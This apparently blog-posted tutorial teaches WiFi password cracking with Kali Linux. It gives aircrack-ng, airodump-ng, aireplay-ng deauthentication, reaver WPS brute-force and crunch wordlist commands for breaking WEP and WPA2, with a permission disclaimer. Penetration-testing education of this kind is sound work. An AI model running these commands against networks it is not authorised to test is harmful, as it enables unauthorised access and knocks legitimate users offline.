Ethnical WIFI Hacking

Ethical WiFi Hacking: A Comprehensive Guide

WiFi hacking can be a valuable skill when used ethically for penetration testing, learning network security, and protecting your own systems. This guide will walk you through various types of WiFi password security, tools you'll need, potential challenges, and the step-by-step process for ethical hacking. This content is for educational purposes only and should never be used maliciously.

Types of WiFi Password Security

WEP (Wired Equivalent Privacy):

Uses: RC4 encryption.
Vulnerable Due To: Weak initialization vector (IV), making it easy to crack.

WPA (WiFi Protected Access):

Introduced To: Improve WEP’s flaws.
Uses: TKIP (Temporal Key Integrity Protocol).

WPA2:

Enhanced Security With: AES encryption.
Authentication Method: PSK (Pre-Shared Key).

Things You Need to Hack WiFi

A computer with Kali Linux.
A wireless WiFi adapter (supports monitor mode and packet injection).

Common Problems and Solutions

USB Wireless Adapter Not Detected in VirtualBox:

Solution 1: Install the VirtualBox Extension Pack.
Solution 2: If the problem persists, reinstall VirtualBox.

Wireless Adapter Not Listed:

Run the following commands to resolve the issue:

sudo apt update
sudo apt install firmware-realtek

This installs the necessary drivers and dependencies for your USB adapter.

Adding a Wireless Adapter in VirtualBox:

Open VirtualBox settings.
Go to the USB tab and click the + button.
Select your wireless adapter from the list.
In the VirtualBox menu, click Devices > USB and check your USB adapter’s name.
Confirm it is detected in Kali Linux:
```
iwconfig
```
Look for a wlan0 interface.

Setting Wireless Adapter to Monitor Mode

Disable the Wireless Interface:

sudo ifconfig wlan0 down

sudo: Grants administrative privileges to execute the command since modifying network interfaces requires elevated permissions.
ifconfig: A utility to configure or manage network interfaces. It can display information, bring interfaces up or down, assign IP addresses, etc.
wlan0: Refers to the wireless network interface. Commonly used to denote a WiFi adapter in Linux.
down: Disables the specified network interface, disconnecting it temporarily.

Change Mode to Monitor:

sudo iwconfig wlan0 mode monitor

iwconfig: Configures wireless interfaces and manages their settings.
mode monitor: Puts the interface into monitor mode, allowing it to capture all wireless traffic in range.

Enable the Wireless Interface:

sudo ifconfig wlan0 up

Re-enables the network interface after making changes.

Understanding WiFi Scanning Outputs

When scanning networks, you'll see data like this:

ESSID	BSSID	PWR	Beacons	#Data	#/s	CH	MB	ENC	AUTH
MyWiFi	00:14:6C:7E:40:80	-50	123	456	10	6	54	WPA2	PSK

ESSID: Name of the WiFi network.
BSSID: MAC address of the network.
PWR: Signal strength (higher = closer).
CH: Channel in use.
ENC: Encryption type (WEP/WPA/WPA2).
AUTH: Authentication method.

Steps to Hack WiFi

WEP Cracking

Sniff Target Network Traffic:

airodump-ng --bssid <MAC_ADDRESS> --channel <CHANNEL> --write <FILE_NAME> wlan0

Crack the Password:

aircrack-ng <FILE_NAME>.cap

WPA/WPA2 Cracking

Method 1: Using WPS (If Enabled)

Check if WPS is Enabled:

wash --interface wlan0

Fake Authentication:

aireplay-ng --fakeauth 30 -a <MAC_ADDRESS> -h <ADAPTER_MAC> wlan0

Brute Force WPS PIN:

reaver --bssid <MAC_ADDRESS> --channel <CHANNEL> --interface wlan0 --no-associate

Method 2: Using Handshake

Capture Handshake:

airodump-ng --bssid <MAC_ADDRESS> --channel <CHANNEL> --write <FILE_NAME> wlan0

Wait for a user to connect, or force a disconnection by running these commands in separate terminals:

Force Disconnection:

aireplay-ng --deauth 1000 -a <MAC_ADDRESS> -c <CLIENT_MAC> wlan0

Generate a Wordlist:

crunch <MIN_LENGTH> <MAX_LENGTH> <CHARACTERS> -t <PATTERN> -o <WORDLIST_NAME>

Crack the Handshake:

aircrack-ng <HANDSHAKE_FILE>.cap -w <WORDLIST_NAME>

Summary of WPA2 Cracking Steps

Scan Networks:
```
sudo airodump-ng wlan0
```
Check for WPS:
```
wash --interface wlan0
```

Capture Handshake:

sudo airodump-ng --bssid <MAC> --channel <CHANNEL> --write <FILE> wlan0

Force Disconnection:

aireplay-ng --deauth 1000 -a <MAC> -c <CLIENT_MAC> wlan0

Create a Wordlist:

crunch <MIN> <MAX> <CHARACTERS> -t <PATTERN> -o <FILE>

Crack the Password:

aircrack-ng <HANDSHAKE_FILE>.cap -w <WORDLIST>

Important Notes

Ensure you have permission before hacking any network.
Always use ethical practices for educational and security testing purposes.
Misuse of these techniques is illegal and punishable by law.
If a command fails due to permission issues, prepend sudo before it.

This guide provides a foundational understanding of ethical WiFi hacking. Always remember to act responsibly and within the bounds of the law.

Search This Blog

Studing